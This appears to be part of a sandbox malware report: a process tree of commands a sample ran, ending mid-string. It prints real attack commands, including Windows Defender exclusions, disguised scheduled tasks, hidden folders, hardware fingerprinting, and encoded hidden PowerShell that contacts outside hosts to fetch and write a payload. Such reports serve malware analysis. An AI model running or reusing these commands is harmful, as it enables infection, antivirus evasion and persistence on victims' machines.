C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr ""C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe" -Embedding" /sc onlogon /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ItmqlqB.exeItmqlqB.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i install.msi4⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\a\w53w7fedz8n7.exew53w7fedz8n7.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File CLASSS.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\exfy.exeexfy.exe4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File we.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\royal.exeroyal.exe4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
-
-
C:\Users\Admin\AppData\Local\Temp\a\random.exerandom.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c schtasks /create /tn "MicrosoftSystemMonitor" /xml "C:\Users\Admin\AppData\Local\Temp\MicrosoftSystemMonitor.xml" /f5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "MicrosoftSystemMonitor" /xml "C:\Users\Admin\AppData\Local\Temp\MicrosoftSystemMonitor.xml" /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\runtimeprovider.exe"C:\Users\Admin\runtimeprovider.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\14U0GQ0YKP57.exe14U0GQ0YKP57.exe4⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Get-Process | Select-Object Name"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAcgBlAGcAIABhAGQAZAAgACgALQBqAG8AaQBuACgAJwBIAEsATABNAFwAUwBPAEYAJwAsACcAVABXACcALAAnAEEAUgBFAFwAUAAnACwAJwBvAGwAaQBjAGkAZQBzAFwAJwAsACcATQBpAGMAcgBvAHMAJwAsACcAbwBmAHQAXABXAGkAbgBkACcALAAnAG8AdwBzACAARABlACcALAAnAGYAZQBuAGQAJwAsACcAZQByACcALAAnAFwARQB4AGMAbAB1AHMAaQAnACwAJwBvAG4AcwAnACwAJwBcAFAAYQB0AGgAcwAnACkAKQAgAC8AdgAgACQAcAAyACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwBzAGMAaAB0AGEAcwBrAHMAIAAvAGMAcgBlAGEAdABlACAALwB0AG4AIAAoACcAVwBpAG4AZABvAHcAcwAnACsAJwBTACcAKwAnAHkAcwB0AGUAbQBTAGUAJwArACcAcgB2AGkAYwBlACcAKQAgAC8AdAByACAAKAAkAHAAMQAgACsAIAAoAC0AagBvAGkAbgAoACcAXAAnACwAJwBzAHYAYwBoACcALAAnAG8AcwB0AC4AZQAnACwAJwB4AGUAJwApACkAKQAgAC8AcwBjACAAbwBuAGwAbwBnAG8AbgAgAC8AZgA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwBmADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAGEAbgBnAHIAeQAtAHQAbwBhAHMAdABlAHIALgBjAG8AbQA6ADQANAAzACcALAAkAGIAbwBkAHkAKQA7ACQAcgBpAHYAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMAAuAC4AMQA1AF0AOwAkAGUAbgBjAD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADEANgAuAC4AKAAkAGQAYQB0AGEALgBMAGUAbgBnAHQAaAAtADEAKQBdADsAJABhAGUAcwAuAEkAVgA9ACQAcgBpAHYAOwAkAGQAZQBjAD0AJABhAGUAcwAuAEMAcgBlAGEAdABlAEQAZQBjAHIAeQBwAHQAbwByACgAKQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGUAbgBjACwAMAAsACQAZQBuAGMALgBMAGUAbgBnAHQAaAApADsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAsACQAZABlAGMAKQA7AEMAbwBwAHkALQBJAHQAZQBtACAAKAAkAHAAMQAgACsAIAAoACcAXABzACcAKwAnAHYAYwBoAG8AJwArACcAcwAnACsAJwB0AC4AZQAnACsAJwB4ACcAKwAnAGUAJwApACkAIAAiACQAcAAyAHQAXABSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAC4AZQB4AGUAIgA=6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File iyke.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i YoyvvWi.msi4⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File testttt.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File wes.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\rVYGceP.exerVYGceP.exe4⤵
- Executes dropped EXE
-
C:\Windows\system32\CMD.exeCMD /C "WMIC BIOS GET SERIALNUMBER"5⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC BIOS GET SERIALNUMBER6⤵
-
-
-
C:\Windows\system32\CMD.exeCMD /C "WMIC DISKDRIVE GET SERIALNUMBER"5⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC DISKDRIVE GET SERIALNUMBER6⤵
-
-
-
C:\Windows\system32\CMD.exeCMD /C "WMIC CPU GET ProcessorID"5⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC CPU GET ProcessorID6⤵
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "del rVYGceP.exe"5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File ytoto.ps14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i aTNXbz0.msi4⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File fla.ps14⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\15B508RH64MZ.exe15B508RH64MZ.exe4⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Get-Process | Select-Object Name"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAcgBlAGcAIABhAGQAZAAgACgALQBqAG8AaQBuACgAJwBIAEsATABNAFwAUwBPAEYAJwAsACcAVABXACcALAAnAEEAUgBFAFwAUAAnACwAJwBvAGwAaQBjAGkAZQBzAFwAJwAsACcATQBpAGMAcgBvAHMAJwAsACcAbwBmAHQAXABXAGkAbgBkACcALAAnAG8AdwBzACAARABlACcALAAnAGYAZQBuAGQAJwAsACcAZQByACcALAAnAFwARQB4AGMAbAB1AHMAaQAnACwAJwBvAG4AcwAnACwAJwBcAFAAYQB0AGgAcwAnACkAKQAgAC8AdgAgACQAcAAyACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwBzAGMAaAB0AGEAcwBrAHMAIAAvAGMAcgBlAGEAdABlACAALwB0AG4AIAAoACcAVwBpAG4AZABvAHcAcwAnACsAJwBTACcAKwAnAHkAcwB0AGUAbQBTAGUAJwArACcAcgB2AGkAYwBlACcAKQAgAC8AdAByACAAKAAkAHAAMQAgACsAIAAoAC0AagBvAGkAbgAoACcAXAAnACwAJwBzAHYAYwBoACcALAAnAG8AcwB0AC4AZQAnACwAJwB4AGUAJwApACkAKQAgAC8AcwBjACAAbwBuAGwAbwBnAG8AbgAgAC8AZgA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwBmADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAGsAZQByAG4AZQBsAC0AYwBvAG0AcABhAHMAcwAuAGMAbwBtADoANAA0ADMAJwAsACQAYgBvAGQAeQApADsAJAByAGkAdgA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMQA2AC4ALgAoACQAZABhAHQAYQAuAEwAZQBuAGcAdABoAC0AMQApAF0AOwAkAGEAZQBz